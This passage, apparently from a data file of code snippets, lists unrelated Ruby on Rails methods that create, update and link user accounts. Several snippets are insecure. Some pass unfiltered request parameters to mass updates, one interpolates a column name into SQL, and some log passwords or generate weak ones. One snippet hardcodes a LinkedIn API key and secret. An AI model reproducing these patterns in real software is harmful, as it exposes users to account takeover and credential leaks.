user[\"EMPLID\"]).first\n user_db.update_attributes!(jobtitle: user[\"JOBTITLE\"], company: user[\"COMPANY\"],\n deptname: user[\"DEPTNAME\"], jobcode: user[\"JOBCODE\"], location: user[\"LOCATION\"],\n supervisor: user[\"SUPERVISOR_NAME\"], supervisor_jobtitle: user[\"SUPERVISOR_JOBTITLE\"],\n supervisor_email: user[\"SUPERVISOR_EMAIL\"], job_family: user[\"JOB_FAMILY\"],\n country: user[\"COUNTRY\"])\n else\n user_db = User.create!(name: name, last_name: last_name, email: user[\"EMAIL_ADDR\"],\n national_id: user[\"EMPLID\"], jobtitle: user[\"JOBTITLE\"], company: user[\"COMPANY\"],\n deptname: user[\"DEPTNAME\"], jobcode: user[\"JOBCODE\"], location: user[\"LOCATION\"],\n supervisor: user[\"SUPERVISOR_NAME\"], supervisor_jobtitle: user[\"SUPERVISOR_JOBTITLE\"],\n supervisor_email: user[\"SUPERVISOR_EMAIL\"], job_family: user[\"JOB_FAMILY\"],\n country: user[\"COUNTRY\"])\n end\n return user_db\n end", "def update\n params[\"user\"].each do |key, value| \n value.strip!\n if value == \"\"\n params[\"user\"].delete(key)\n end\n end\n \n params[\"user\"][\"email\"].downcase!\n \n @prev_user_info = User.find_by_id(params[\"user\"][\"id\"])\n existing_user = User.find_by_id(params[\"user\"][\"id\"])\n \n if !params[\"user\"][\"password_hash\"].blank?\n existing_user.password = params[\"user\"][\"password_hash\"]\n end\n\n if existing_user.update_attributes(params[\"user\"])\n @object = existing_user\n \n render \"user_success\"\n\n else\n @error_messages = existing_user.errors.to_a\n @user = User.new\n @new_item = User.find_by_id(params[\"id\"])\n\n render \"edit\"\n end\n end", "def createNewUser(linkedInInfo)\n user = User.new do |u|\n u.firstName = getValueFromLinkedInInfo(linkedInInfo, 'firstName')\n u.lastName = getValueFromLinkedInInfo(linkedInInfo, 'lastName')\n u.location = getValueFromLinkedInInfo(linkedInInfo, 'location')\n u.industry = getValueFromLinkedInInfo(linkedInInfo, 'industry')\n u.numConnections = getValueFromLinkedInInfo(linkedInInfo, 'numConnections')\n u.position = getValueFromLinkedInInfo(linkedInInfo, 'title')\n u.company = getValueFromLinkedInInfo(linkedInInfo, 'company')\n u.reportedCount = 0\n u.linkedInId = getValueFromLinkedInInfo(linkedInInfo, 'id')\n u.emailAddress = getValueFromLinkedInInfo(linkedInInfo, 'emailAddress')\n end\n user.save\n return user\n end", "def create\n @all = Users.find_users\n @approve = true\n @all.each do |a|\n if (a.username == params[ :username ]) \n @approve = false\n end\n end\n if(@approve == false)\n redirect_to :action => 'used'\n else\n @user=Users.create(params[ :email ],params[ :username ],params[ :password ],params[ :mobilenum ])\n end\n end", "def create\n @user = User.find_by_uid(params[:uid])\n\n if (@user.nil?)\n @user = User.new\n @user['uid'] = params[:uid]\n @user['provider'] = 'facebook'\n @user['name'] = params[:name]\n\n @user.save\n end\n\n if (Invite.find_by_plan_id_and_user_id(params[:plan_id], @user.id).nil?)\n\n @invite = Invite.new(params[:invite])\n @invite.plan = Plan.find(params[:plan_id])\n\n @invite.user = @user\n\n @invite.save\n\n end\n\n end", "def create_user params, send_info_email = false\n if params[:email] && !params[:email].empty?\n email = params[:email].downcase\n else\n email = params[:person_identifier] + '@example.com' if params[:person_identifier]\n end\n\n if email && email =~ /\\A[^@]+@[^@]+\\z/\n u = User.find_by_email(email)\n email_correct = true\n end\n return u if u\n\n # no existing user, create new\n u = User.new\n u.email = email\n\n unless email_correct \n while User.find_by_email(u.email)\n if params[:first_name] && !params[:first_name].empty? && params[:last_name] && !params[:last_name].empty?\n identifier = params[:first_name] + '.' + params[:last_name] + SecureRandom.hex(5)\n else\n identifier = SecureRandom.hex(15)\n end\n u.email = identifier + '@example.com'\n end\n end\n\n if params[:password] && !params[:password].empty?\n pw = params[:password]\n else\n pw = SecureRandom.base64(5)\n end\n u.password = pw\n u.password_confirmation = pw\n\n u.first_name = params[:first_name]\n u.last_name = params[:last_name]\n if params[:display_name]\n u.display_name = params\n elsif u.first_name && u.last_name\n u.display_name = u.first_name + ' ' + u.last_name\n end\n\n u.skip_confirmation! if User.respond_to? 'skip_confirmation!' # skip the confirmation email, that would be automatically sent by devise\n AuditoriumMailer.automatically_generated_user(u.email, password).deliver if send_info_email unless u.email.include? '@example.com'\n\n u.save\n u\n end", "def update_user_info(user_info)\n return if !user_info || user_info.empty?\n\n # get the current user entry\n curr_user_info = read_user(user_info[:email])\n if curr_user_info\n dn = get_DN(curr_user_info[:cn])\n\n Net::LDAP.open(@ldap_conf) do |ldap|\n #update the ldap attributes\n desc_attributes = {}\n ALLOW_UPDATING.each do |attribute|\n if user_info && !!user_info[attribute] && (curr_user_info[attribute] != user_info[attribute])\n if PACKED_ENTITY_FIELD_MAPPING.include?(attribute)\n desc_attributes[attribute] = user_info[attribute]\n else\n if !(ldap.replace_attribute(dn, ENTITY_ATTR_MAPPING[attribute], user_info[attribute]))\n if !curr_user_info[attribute]\n if !(ldap.add_attribute(dn, ENTITY_ATTR_MAPPING[attribute], user_info[attribute]))\n puts curr_user_info\n puts user_info\n\n ops = [[:add, ENTITY_ATTR_MAPPING[attribute], user_info[attribute]]]\n ldap.modify :dn => dn, :operations => ops\n\n raise ldap_ex(ldap, \"Unable to add new attribute '#{ENTITY_ATTR_MAPPING[attribute]}' with value '#{user_info[attribute]}'.\")\n end\n else\n raise ldap_ex(ldap, \"Unable to update attribute '#{ENTITY_ATTR_MAPPING[attribute]}' with value '#{user_info[attribute]}'.\")\n end\n end\n end\n end\n end\n\n # updat the attributes that are encoded in description\n if !desc_attributes.empty?\n temp = (curr_user_info.clone).merge(desc_attributes)\n packed = pack_fields(temp)\n ldap.replace_attribute(dn, LDAP_DESCRIPTION_FIELD, packed)\n end\n end\n end\n end", "def update_from_gram\n self.synced_with_gram = false\n if self.syncable?\n begin\n gram_data= GramV2Client::Account.find(self.uuid)\n self.email=gram_data.email\n self.firstname=gram_data.firstname\n self.lastname=gram_data.lastname\n self.last_gram_sync_at = Time.now\n self.hruid = gram_data.hruid\n if self.save\n self.synced_with_gram = true\n return self\n else\n return false\n end\n rescue ActiveResource::ResourceNotFound\n logger.error \"[GrAM] Utilisateur introuvable : hruid = #{self.hruid} uuid = #{self.uuid}\"\n return false\n rescue ActiveResource::ServerError\n logger.error \"[GrAM] Connexion au serveur impossible\"\n return false\n rescue ActiveResource::UnauthorizedAccess, ActiveResource::ForbiddenAccess\n logger.error \"[GrAM] Connexion au serveur impossible : verifier identifiants\"\n return false\n end\n else\n return false\n end\n\n end", "def set_user\n params.delete :matched_desc\n params.delete :host_prep\n params.delete :would_ret\n @user = User.where(user_id: params[:userId])\n end", "def updateUserInfo(uuid,colname,info)\n \n begin\n query = \"UPDATE `#{DB_NAME}`.`#{USER_TABLE}` SET `#{colname}` = ? WHERE `user`.`uuid` = ?;\"\n self.connect unless self.connected? # => connect to the DB server if not connected\n sth = @dbh.prepare(query)\n sth.execute(info,uuid)\n \n \n sth.finish\n rescue DBI::DatabaseError => e\n puts \"An error occurred\"\n puts \"Error code: #{e.err}\"\n puts \"Error message: #{e.errstr}\"\n @dbh.rollback\n rescue Exception => e \n puts \"error!!! -> : #{e.to_s}\"\n \n ensure\n # disconnect from server\n @dbh.disconnect if @connected\n @connected=false\n end\n \n \n end", "def temp_user_login(info)\n\t\t\tunless TmpUser.find_by_email(info[\"email\"]).nil?\n\t\t\t\t@user = TmpUser.find_by_email(info[\"email\"])\n\t\t\t\treturn @user\n\t\t\telse\n\t\t\t\t@user = TmpUser.create(:email => info[\"email\"],:coupon_id => info[\"coupon\"], :game_id => info[\"game\"] )\n\t\t\t\treturn @user\n\t\t\tend\n\t\tend", "def fetch_details_from_linkedin\n\t\t# To Do\n\t\tself.user.has_linkedin = true\n\t\tself.user.save\n\tend", "def link_account(provider, uid)\n self[provider.column.to_sym] = uid\n self.save\n end", "def update\n \n oldUser = User.find(current_user.id)\n @user = User.find(current_user.id)\n\n successfully_updated = if needs_password?(@user, account_update_params)\n @user.update_with_password(account_update_params)\n else\n # remove the virtual current_password attribute update_without_password\n # doesn't know how to ignore it\n params[:user].delete(:current_password)\n @user.update_without_password(account_update_params)\n end\n\n if successfully_updated\n \n ## Move the user profile photo from tmp to user directory\n if @user.profile_photo!=\"\"\n move_tmp_user_photo(@user)\n end\n \n #update latitude longitude here ...\n if @user.user_type == \"fan\" || @user.user_type == \"artist\"\n #//check if the address has been changed\n addressChanged = !((oldUser.country_id == @user.country_id) && (oldUser.state_id == @user.state_id) && (oldUser.zip ==@user.zip) && (oldUser.city == @user.city))\n if addressChanged\n fullAddress = \"\"\n countryName = \"\"\n stateName = \"\"\n if @user.country_id.to_i > 0\n countryRow = Country.where(\"id = ? \",@user.country_id.to_i).take\n if countryRow != nil\n countryName = countryRow.country_name\n end\n end\n \n if @user.state_id.to_i > 0\n stateRow = State.where(\"id = ? \",@user.state_id.to_i).take\n if stateRow != nil\n stateName = stateRow.state_name\n end\n end\n \n if @user.zip.to_s != \"\"\n fullAddress = URI.encode(@user.zip)\n end\n \n if @user.city.to_s !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(@user.city)\n else\n fullAddress += \",\"+URI.encode(@user.city)\n end \n end\n \n if stateName !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(stateName)\n else\n fullAddress += \",\"+URI.encode(stateName)\n end \n end\n \n if countryName !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(countryName)\n else\n fullAddress += \",\"+URI.encode(countryName)\n end \n end\n \n #render text: fullAddress and return\n if !fullAddress.blank?\n lat_long = Geocoder.coordinates(fullAddress)\n cUser = User.find(@user.id);\n if lat_long!=nil\n cUser.update_attributes(:latitude => lat_long[0],:longitude => lat_long[1])\n end \n end \n end \n end\n \n set_flash_message :notice, :updated\n # Sign in the user bypassing validation in case his password changed\n sign_in @user, :bypass => true\n redirect_to after_update_path_for(@user)\n else\n render \"edit\"\n end\n end", "def update\n\n if param_user[:email_work] != user.login\n param_user[:login] = param_user[:email_work]\n end\n @selected_profiles = param_user[:profile_ids]\n\n respond_to do |format|\n if user.update_attributes(param_user)\n @message = \"#{@user.full_name} has been modified.\"\n\t Resque.enqueue(Finforenet::Jobs::CheckPublicProfiles, @user.id) if @user.is_public\n if !request.xhr?\n format.html { redirect_to users_path({:page=>params[:page]}), :notice => @message }\n else\n format.html { render :action => \"edit\", :layout=> !request.xhr?}\n end\n else\n format.html { render :action => \"edit\", :layout=> !request.xhr? }\n end\n end\n end", "def link_fb_connect(fb_user)\n\t unless fb_user.id.nil?\n\t #check for existing account\n\t existing_fb_user = RmUser.find_by_fb_usid(fb_user.id)\n\t #unlink the existing account\n\t unless existing_fb_user.nil?\n\t #existing_fb_user.fb_usid = nil\n\t #existing_fb_user.save(false)\n\t end\n\t #link the new one\n\t self.fb_usid = fb_user.id\n\t self.first_name = fb_user.first_name\n\t self.last_name = fb_user.last_name\n\t #self.name = \n\t save(false)\n\t end\n\tend", "def update\n user_info = User.find(params[:id])\n if !user_info.points\n @user[:points] = 100\n end\n if !user_info.image\n @user[:image] = 'https://graph.facebook.com/'+user_info.uid.to_s+'/picture?width=360&height=210'\n end\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def fill_up_user_create\n # if self.class.column_names.include? 'updated_by_id'\n # if UserInfo.current_user_id\n # # if updated_by_id && updated_by_id != UserInfo.current_user_id\n # # logger.info \"NOTICE create - self.updated_by_id is different: #{updated_by_id}/#{UserInfo.current_user_id}\"\n # # end\n # # self.updated_by_id = UserInfo.current_user_id\n # end\n # end\n\n # return true if !self.class.column_names.include? 'created_by_id'\n\n return true if !UserInfo.current_user_id\n\n # if created_by_id && created_by_id != UserInfo.current_user_id\n # logger.info \"NOTICE create - self.created_by_id is different: #{created_by_id}/#{UserInfo.current_user_id}\"\n # end\n # self.created_by_id = UserInfo.current_user_id\n true\n end", "def create_account(user)\n account = Account.to_adapter.get!(user.id)\n update_status = account.update_with_password({ \"email\" => user.email, \"name\" => user.username })\nend", "def update? ; user.account.active? ; end", "def update\n @user = User.find(params[:id])\n p1 = User.find(params[:id]).name\n p2 = User.find(params[:id]).lastname\n p3 = User.find(params[:id]).email\n p4 = User.find(params[:id]).password\n p5 = User.find(params[:id]).phone\n p6 = User.find(params[:id]).set\n p7 = User.find(params[:id]).bl\n if @user.update(user_params)\n if @user.update(bl_params)\n if p1 == @user.name && p2 == @user.lastname && p3 == @user.email && p4 == @user.password && p5 == @user.phone && p6 == @user.set && p7 == @user.bl\n redirect_to atotal_index_path\n flash[:notice] = \"Updated succesfully\"\n else\n if @user.bl == true\n\n redirect_to utotal_index_path\n flash[:notice] = \"Send to blacklist succesfully\"\n else\n if @user.password == p4\n redirect_to blacklist_path\n flash[:notice] = \"User restored succesfully\"\n else\n redirect_to utotal_index_path\n flash[:notice] = \" Password changed succesfully\"\n end\n end\n end\n else\n redirect_to utotal_index_path\n flash[:notice] = \"Updated succesfully\"\n end\n\n \n else\n flash[:error] = \"Something went wrong\"\n redirect_to 'http://localhost:3000/utotal/index'\n end\n end", "def update_DB\n @users=User.all\n @users.each do |user|\n if user.token\n client = LinkedIn::Client.new(\"mgdh4gtnqnra\", \"adFWD50VxWY35Yi1\")\n client.authorize_from_access(user.token,user.secret)\n Rails.logger.debug user.inspect\n Rails.logger.debug \"============================================================================\"\n update_profile(client,user)\n update_educations(client,user)\n update_experiences(client,user)\n end\n end\n redirect_to home_path\n end", "def call(_obj, args, _ctx)\n\n update_table = User.find(args[:user_id])\n return update_table if update_table.update_attributes(name: args[:name], email: args[:email], password: args[:password])\n GraphQL::ExecutionError.new(\"invalid data\")\n end", "def lcr_update_user\n @user.sms_lcr_id = params[:lcr_id] if session[:usertype] == 'admin'\n @user.sms_tariff_id = params[:tariff_id]\n if @user.save\n Action.add_action_hash(User.current, {:action=>'sms_lcr_changed_for_user', :data=>@user.id, :target_id=>@user.sms_lcr_id, :target_type=>'sms_lcr'} )\n if @user.usertype.to_s == 'reseller' and session[:usertype] == 'admin'\n users = User.find(:all, :conditions=>{:owner_id => @user.id})\n if users and users.size.to_i > 0\n for user in users\n user.sms_lcr_id = params[:lcr_id]\n if user.save\n Action.add_action_hash(User.current, {:action=>'sms_lcr_changed_for_user', :data=>user.id, :target_id=>user.sms_lcr_id, :target_type=>'sms_lcr'} )\n end\n end\n end\n end\n flash[:status] = _('User_updated')\n else\n flash[:notice] = _('User_not_updated')\n end\n redirect_to :action => 'lcr_edit_user', :id => @user.id\n end", "def link_fb_to_user\n\t\trender :json=>{:success=>false, :msg=>'User not logged in.'} and return if @user.nil?\n\n\t\taccess_token = params[:access_token]\n\t\t\n\t\t#url = 'https://graph.facebook.com/me?access_token='+access_token\n\t\tbegin\n\t\t\tfb_user = FbGraph::User.fetch('me', :access_token=>access_token)\n\t\t\tfb_id = fb_user.identifier\n\t\t\temail = fb_user.email.strip.downcase\n\t\t\t\n\t\t\t#Check if user exists by email\n\t\t\tuser = User.find_by_email(email)\n\t\t\trender :json=>{:success=>false, :msg=>'An account already exists under your Facebook email.'} and return if (!user.nil? && user.id!=@user.id)\n\t\t\t\n\t\t\t#Check if user exists by Facebook ID\n\t\t\tuser = User.find_by_fb_id(fb_id)\n\t\t\trender :json=>{:success=>false, :msg=>'An account already exists under this Facebook account.'} and return if (!user.nil? && user.id!=@user.id)\n\t\t\t\n\t\t\t@user.fb_id = fb_id\n\t\t\t@user.fb_access_token = access_token\n\t\t\t\n\t\t\t@user.save\n\t\t\tsession['user'] = @user\n\t\t\t\n\t\t\trender :json=>{:success=>true, :msg=>'success'} and return\n\t\t\t\n\t\trescue\n\t\t\trender :json=>{:success=>false, :msg=>'There was an error. Refresh the page and try again.'} and return\n\t\tend\n\tend", "def check_user_existence\n recipient = User.find_by(email: recipient_email)\n if recipient\n self.recipient_id = recipient.id\n end\n end", "def update_identity_user(identity, user)\n identity.update_attributes(user_id: user.id) if identity.user != user \n end", "def process_workshop_users(data)\n\t\tdata.each do |item|\n\t\t\tif item[:password] == \"local\"\n\t\t\t\titem[:password] = @user.password\n\t\t\tend\n\t\t\t@user.create_user(item)\n\t\tend\n\tend", "def test_user_update\n new_data = {\n 'OrgDefinedId' => 'ruby-test',\n 'FirstName' => 'Test-User',\n 'MiddleName' => 'changed',\n 'LastName' => 'Test',\n 'ExternalEmail' => nil, # Predefines user data, in the case that\n 'UserName' => 'test-ruby-user1234', # there is are variables left out in the JSON\n 'Activation' => {\n 'IsActive' => true\n }\n }\n user_id = get_user_by_username(new_data['UserName'])['UserId']\n update_user_data(user_id, new_data)\n end", "def update_user_details_in_chargify\n unless self.account.chargify_customer_id.blank?\n\n if self.roles.any? { |r| r.title == 'account_holder' }\n chargify_customer = Chargify::Customer.find_by_reference(self.account.id)\n chargify_customer.first_name = self.firstname\n chargify_customer.last_name = self.lastname\n chargify_customer.email = self.email\n chargify_customer.save\n end\n end\n end", "def mf_api_user_create\n\n # Look for\n current_users = User.where(email: params[:email])\n\n unless current_users.empty?\n response = {\n success: false,\n message: 'User with email already exists'\n }\n\n render json: response and return\n end\n\n # Generate a password for user\n seed = \"--#{rand(10000000)}--#{Time.now}--#{rand(10000000)}\"\n secure_password = Digest::SHA1.hexdigest(seed)[0,8]\n\n user = User.new\n\n user.clientid = params[:client_id]\n user.email = params[:email]\n user.password = secure_password\n user.first_name = params[:first_name]\n user.last_name = params[:last_name]\n\n user.save\n\n # Update Infusionsoft Contact ------THIS LINE OF CODE IS WHERE IT FUCKS UP\n Infusionsoft.contact_update(params[:client_id], {:Password => secure_password})\n\n # Return Success Response\n response = {\n success: true,\n user_id: user.id,\n password: user.password,\n message: 'User Created'\n }\n\n render json: response\n\n\n end", "def create\n logger.info \" -------- user/create : #{user_params}\"\n logger.info \" -------- phoneNumber : #{user_params[:phoneNumber]}\"\n @user = User.find_by_phoneNumber(user_params[:phoneNumber])\n\n unless @user.nil?\n # If user already exists then return conflict error.\n # If client registration id is different then\n # update it.\n if @user.clientRegistrationId != user_params[:clientRegistrationId]\n @user.update_column(:clientRegistrationId, user_params[:clientRegistrationId])\n end\n respond_to do |format|\n error_msg = { :error => \"User(#{user_params[:phoneNumber]}) is already registered with ETA\" }\n format.json { render json: error_msg, status: :conflict }\n end\n else \n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @user }\n format.json { head :created } \n else\n format.html { render action: 'new' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def get_up_link_matches\n begin\n user_id = current_user.id\n\n if Match.exists?(user_id: user_id, completion_status: 'pending')\n match = Match.find_by(user_id: user_id, completion_status: 'pending')\n up_link_user = User.find_by(id: match.matched_user_id)\n up_link_user_bank = Bank.find_by(user_id: up_link_user.id)\n bank_name = up_link_user_bank.name\n account_number = up_link_user_bank.account_number\n\n render json: { status: 'SUCCESS', data: {\n first_name: up_link_user.first_name,\n last_name: up_link_user.last_name,\n phone_number: up_link_user.phone_number,\n user_id: up_link_user.id,\n match_id: match.id,\n account_number: account_number,\n bank_name: bank_name\n }}, status: :ok\n else\n render json: { status: 'SUCCESS', data: '' }, status: :ok\n end\n\n rescue Exception => e\n puts e.message\n\n render json: { status: 'ERROR', data: {\n message: 'An unexpected error occurred. Please try againlater'\n }}, status: :internal_server_error\n end\n end", "def new_users_notification(teacher)\n\n last_notified = teacher.notified_on.nil? ? teacher.enrolled_on : teacher.notified_on\n\n named = User.where(teacher: teacher,role:'parent').where{enrolled_on > last_notified}.exclude(first_name: nil).all\n unnamed = User.where(teacher: teacher,role:'parent').where{enrolled_on > last_notified}.where(first_name: nil).all\n count = named.size + unnamed.size\n family = count > 1 ? 'families' : 'family'\n quicklink = teacher.quicklink\n\n\n if count == 0\n puts \"no new users signed up\"\n return\n end\n\n\n\n if named.size > 0\n if named.size == 1\n list_o_names = named.first.first_name\n list_o_names += \" #{named.first.last_name.to_s}\" if not named.first.last_name.nil?\n\n if unnamed.size > 0\n list_o_names += \" and #{unnamed.size} other#{unnamed.size > 1 ? 's' : ''}\"\n end\n\n elsif named.size == 2\n\n if unnamed.size > 0\n list_o_names = named.first.first_name\n list_o_names += \" #{named.first.last_name.to_s}\" if not named.first.last_name.nil?\n list_o_names += \", #{named.last.first_name}\"\n list_o_names += \" #{named.last.last_name.to_s}\" if not named.last.last_name.nil?\n list_o_names += \", and #{unnamed.size} other#{unnamed.size > 1 ? 's' : ''}\"\n else\n list_o_names = named.first.first_name\n list_o_names += \" #{named.first.last_name.to_s}\" if not named.first.last_name.nil?\n list_o_names += \" and #{named.last.first_name}\"\n list_o_names += \" #{named.last.last_name.to_s}\" if not named.last.last_name.nil?\n end\n\n else\n last_user = named.pop\n list_o_names = named.inject('') do |string, user|\n str = user.first_name.to_s\n str += \" #{user.last_name.to_s}\" if not user.last_name.nil?\n str += \", \"\n string += str\n end\n\n last_u_name = last_user.first_name\n last_u_name += \" #{last_user.last_name.to_s}\" if not last_user.last_name.nil?\n\n if unnamed.size > 0\n list_o_names += \"#{last_u_name}, and #{unnamed.size} other#{unnamed.size > 1 ? 's' : ''}\"\n else\n list_o_names += \"and #{last_u_name}\"\n end\n\n end\n else # we only have unnamed users...\n list_o_names = \"See who\"\n end # if named.size > 0\n\n puts \"sending email to #{teacher.signature}, #{teacher.email}, #{count}, #{family}, #{list_o_names}, #{quicklink}\"\n\n\n new_users_notification_helper(teacher.signature, teacher.email, count, family, list_o_names, quicklink)\n end", "def edit_info(params, userid)\n db = connect()\n db.execute('UPDATE users SET Info=? WHERE Id=?', params[\"info\"], userid)\n end", "def update\n @user = User.find_by(username: params[:username][:username])\n \n if params[:last_visited_channel]\n user_params = { last_visited_channel: params[:last_visited_channel] }\n elsif params[:is_online]\n user_params = { is_online: params[:is_online] }\n end\n\n if @user.update(user_params)\n if user_params[:is_online]\n Pusher.trigger('user_presence', 'user_online', { user: @user })\n end\n\n render '/api/users/show'\n else\n render json: @user.errors.messages, status: 422\n end\n end", "def is_user?\ncurrent_user.username == @userl.username\n end", "def set_user_information\n @login = Login.find(params[:id])\n# @phones = User.includes(:user_phones).where(\"user_phones.user_id\", @login.user.id)\n end", "def update\n unless create_user\n respond_to do |format|\n format.json { render json: { error: 'User is not logged in!' }, status: :unprocessable_entity }\n end\n return\n end\n logger.debug '@user is found in db!'\n\n respond_to do |format|\n if @user.update(user_params)\n format.json { render json: @user, status: :ok, location: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def users(rule_name, info)\n\n # Get to the advanced page.\n self.goto_advanced(rule_name, info)\n \n # Get to the \"Users\" page.\n begin\n @ff.link(:text, 'Users').click\n self.msg(rule_name, :info, 'users', 'Reached page \\'Users\\'.')\n rescue\n self.msg(rule_name, :error, 'users', 'Did not reach \\'Users\\' page')\n return\n end\n\n if (info.has_key?('Delete User'))\n\tsTable = false\n\t@ff.tables.each do |t|\n\t if (t.text.include? 'Full Name') and\n\t (not t.text.include? 'The Users page provides') and\n\t (t.row_count > 2) then\n\t sTable = t\n\t break\n\t end\n\tend\n\tif sTable == false\n # Wrong here\n\t self.msg(rule_name,:error,'Delete User','Did NOT find the target table.')\n\t return\n\tend\n\tsTable.each do |row|\n\t if (row[2].to_s == info['Delete User'])\n\t\trow.link(:name,'remove').click\n\t\tif @ff.text.include? 'Attention'\n\t\t @ff.link(:text,'Apply').click\n\t\tend\n\t\tif @ff.text.include? 'Input Errors'\n\t\t sTable = false\n\t\t @ff.tables.each do |t|\n\t\t\tif ( t.text.include? ':' and \n\t\t\t\t( not t.text.include? 'Input Errors') and\n\t\t\t\t( not t.text.include? 'Cancel') and\n\t\t\t\tt.row_count >= 1 )then\n\t\t\t\t\tsTable = t\n\t\t\t\tbreak\n\t\t\tend\n\t\t end\n \n\t\t if sTable == false\n\t\t\tself.msg(rule_name,:error,'Users','Did NOT find the target table.')\n\t\t\treturn\n\t\t end\n \n\t\t sTable.each do |row|\n \n\t\t\tif row[1] == \"\" or row[2] == nil\n\t\t\t next\n\t\t\tend\n \n\t\t\tself.msg(rule_name,:error,row[1],row[2])\n \n\t\t end\n \n\t\t # Click the \"cancel\"\n\t\t @ff.link(:text,'Cancel').click\n\t\t return\n \n \n\t\tend\n\t\tself.msg(rule_name,:info,'Delete User','Delete ' + row[3].to_s + ' User Success')\n\t end\n\tend\n\treturn\t\n end\n\n if (info.has_key?('Edit User'))\n\tsTable = false\n\t@ff.tables.each do |t|\n\t if (t.text.include? 'Full Name') and\n\t (not t.text.include? 'The Users page provides') and\n\t (t.row_count > 2) then\n\t sTable = t\n\t break\n\t end\n\tend\n\tif sTable == false\n # Wrong here\n\t self.msg(rule_name,:error,'Edit User','Did NOT find the target table.')\n\t return\n\tend\n\tsTable.each do |row|\n\t if (row[2].to_s == info['Edit User'])\n\t\trow.link(:name,'edit').click\n\t\tself.msg(rule_name,:info,'Edit User','start to edit user')\n\t end\n\tend\n end\n \n # Check the key.\n if ( not info.has_key?('Edit User'))\n if ( info.has_key?('Full Name') &&\n info.has_key?('User Name') ) then\n # Right,go on.\n else\n self.msg(rule_name,:error,'users','Some key NOT found.')\n return\n end\n \n # Parse the json file\n \n # Add a user here.\n @ff.link(:text,\"New User\").click\n \n end\n # Enter the user's information\n \n # Full Name\n @ff.text_field(:name,'fullname').value = info['Full Name']\n self.msg(rule_name,:info,'fullname',info['Full Name'])\n \n # User Name\n @ff.text_field(:name,'username').value = info['User Name']\n self.msg(rule_name,:info,'username',info['User Name'])\n \n # New Password & Retype New Password\n @ff.text_field(:index,3).set(info['New Password']) \n @ff.text_field(:index,4).set(info['Retype New Password'])\n self.msg(rule_name,:info,'Password',info['New Password'])\n \n # Permission\n case info['Permission']\n \n when 'Administrator'\n @ff.select_list(:name,'user_level').select(\"Administrator\")\n self.msg(rule_name,:info,'Permissions','Administrator')\n when 'Limited'\n @ff.select_list(:name,'user_level').select(\"Limited\")\n self.msg(rule_name,:info,'Permissions','Limited')\n else\n # Wrong here\n self.msg(rule_name,:error,'Permissions','Wrong Permissions')\n return\n end \n \n # Notification Address\n if info.has_key?('Notification Address')\n @ff.text_field(:name,'email').set(info['Notification Address'])\n self.msg(rule_name,:info,'Notification Address',info['Notification Address'])\n end\n \n # System Notify Level\n case info['System Notify Level']\n when 'None' \n @ff.select_list(:name,'email_system_notify_level').set_value(\"15\")\n when 'Error'\n @ff.select_list(:name,'email_system_notify_level').set_value(\"3\")\n when 'Warning'\n @ff.select_list(:name,'email_system_notify_level').set_value(\"4\")\n when 'Information'\n @ff.select_list(:name,'email_system_notify_level').set_value(\"6\")\n else\n # Wrong here\n self.msg(rule_name,:error,'users','Some key NOT found in System Notify Level.')\n return \n end\n \n # System Notify Level\n case info['Security Notify Level']\n when 'None' \n @ff.select_list(:name,'email_security_notify_level').set_value(\"15\")\n when 'Error'\n @ff.select_list(:name,'email_security_notify_level').set_value(\"3\")\n when 'Warning'\n @ff.select_list(:name,'email_security_notify_level').set_value(\"4\")\n when 'Information'\n @ff.select_list(:name,'email_security_notify_level').set_value(\"6\")\n else\n # Wrong here\n self.msg(rule_name,:error,'users','Some key NOT found in System Notify Level.')\n return \n end\n \n # Apply the new user.\n @ff.link(:text,'Apply').click\n \n # Jump out an \"attention\" message?\n if @ff.text.include? 'Attention'\n @ff.link(:text,'Apply').click\n end\n\n if @ff.text.include? 'Input Errors'\n self.msg(rule_name,:error,'Input Errors','Input Errors')\t\n @ff.link(:text,'Cancel').click\n end\n\n \n # Close\n if @ff.text.include? 'Close'\n @ff.link(:text,'Close').click\n end\n \n self.msg(rule_name,:info,'Users','SUCCESS')\n \n return \n \n end", "def handle_update_details_for_third_party(user, need_email=true)\n @data.user = user\n @session.push(Login, :back_from_update_third_party)\n @data.previous_email = user.contact.con_email\n collect_user_info(false, false, true, need_email)\n end", "def update\n#\t\t@newform = false \n\n=begin\t\tif params[:user] && params[:user][:newform] && params[:user][:newform] == true\n\t\t\t@newform = true\n\t\tend\n=end\n\n unless ( (id = params[:id]) && ( (id == session[:user_id]) || (User.find(session[:user_id]).site_admin) ) )\n id = session[:user_id]\n end\n @user = User.find(id)\n\t\t@request_uri = edit_user_url(id)\n @user.email_confirmation = params[:user][:email_confirmation]\n\t\tbegin\n\t\t\tunless @user.twitter_user\n\t\t\t\t@user_twitter_authorized = false\t\t\t\t\n\t\t\telse\n\t\t\t\tuser_client = client(false, false, nil)\n\t\t\t\t@twit_user = user_client.verify_credentials\n\t\t\t\t@user_twitter_authorized = true\t\t\t\t\n\t\t\tend\t\t\n\t\trescue\n\t\t\t\t@user_twitter_authorized = false\n\t\tend \n \n \n # if they have flipped whether they want messages or not\n\t\tif @user.twitter_user && params[:twitter_user] && params[:twitter_user][:twitter_replies] && ((params[:twitter_user][:twitter_replies] == \"0\" && @user.twitter_user.opt_out_of_messages == false) ||(params[:twitter_user][:twitter_replies] == \"1\" && @user.twitter_user.opt_out_of_messages == true))\n\t\t @user.twitter_user.opt_out_of_messages = !@user.twitter_user.opt_out_of_messages\n\t\t @user.twitter_user.save\n\t end\n\t\t\n \n \n\t\t# Hash the password before putting it into DB\n\t\t\n\t\tif params[:user] && params[:user][:password] && params[:user][:password] != '' && params[:user][:password] != nil\n\t\t \n\t\t #see if a salt exists\n random = ActiveSupport::SecureRandom.hex(10)\n salt = Digest::SHA2.hexdigest(\"#{Time.now.utc}#{random}\")\n salted_password = Digest::SHA2.hexdigest(\"#{salt}#{params[:user][:password]}\")\n params[:user][:password_salt] = 